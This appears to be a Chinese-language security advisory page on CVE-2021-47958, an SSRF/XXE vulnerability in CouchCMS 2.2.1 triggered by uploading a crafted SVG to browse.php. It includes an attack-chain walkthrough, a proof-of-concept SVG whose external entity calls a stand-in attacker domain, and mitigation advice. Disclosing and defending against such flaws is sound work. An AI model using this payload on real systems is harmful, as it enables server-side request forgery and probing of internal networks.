IPBUF安全漏洞报告
English
CVE-2021-47958 CVSS 4.3 中危

CVE-2021-47958: CouchCMS SSRF漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2021-47958
漏洞类型
Server-Side Request Forgery (SSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CouchCMS

相关标签

SSRFCouchCMSXXESVG UploadServer-Side Request Forgery

漏洞概述

CouchCMS 2.2.1版本中存在一处服务器端请求伪造(SSRF)漏洞。由于系统未对上传的SVG文件进行严格过滤,经过身份验证的攻击者可利用browse.php端点上传包含恶意外部实体引用的SVG文件。一旦文件被处理,攻击者即可利用服务器发起任意HTTP请求,进而探测或访问内部网络服务及资源。该漏洞对内网安全构成威胁。

技术细节

该漏洞的根源在于CouchCMS对上传至browse.php端点的文件内容解析机制存在缺陷。SVG文件基于XML格式,支持文档类型定义(DTD)。攻击者可以构建一个特制的SVG文件,在其中嵌入恶意的DOCTYPE声明及外部实体引用。当经过身份验证的攻击者上传该文件时,服务器端的XML解析器会解析SVG内容并尝试加载攻击者指定的外部资源(如URL)。由于请求是由服务器端发起的,攻击者可以利用服务器作为跳板,探测内网开放的端口、读取本地文件(视解析器配置而定)或访问受限的内网服务。尽管CVSS评分中未体现机密性影响,但SSRF常作为内网渗透的关键突破口,结合其他攻击链可能导致更严重的数据泄露。

攻击链分析

STEP 1
步骤1
攻击者获取CouchCMS的低权限账户凭据。
STEP 2
步骤2
构造包含XXE(XML外部实体)载荷的恶意SVG文件,指向攻击者控制的服务器。
STEP 3
步骤3
登录系统,通过browse.php端点上传构造好的恶意SVG文件。
STEP 4
步骤4
服务器端解析上传的SVG文件,触发对外部URL的HTTP请求。
STEP 5
步骤5
攻击者监控服务器日志,确认SSRF漏洞利用成功并获取内网信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2021-47958 SSRF via SVG Upload --> <!-- This SVG contains an XML External Entity (XXE) definition --> <!-- When processed by the server, it will send a request to the specified URL --> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY xxe SYSTEM "http://attacker-controlled-domain.com/poc" > ]> <image>&xxe;</image> </svg>

影响范围

CouchCMS 2.2.1
CouchCMS <= 2.2.1

防御指南

临时缓解措施
建议管理员暂时禁用SVG文件上传功能,或在WAF(Web应用防火墙)层面拦截包含DOCTYPE或外部实体引用的文件传输。同时,检查服务器日志以确认是否存在异常的出站请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表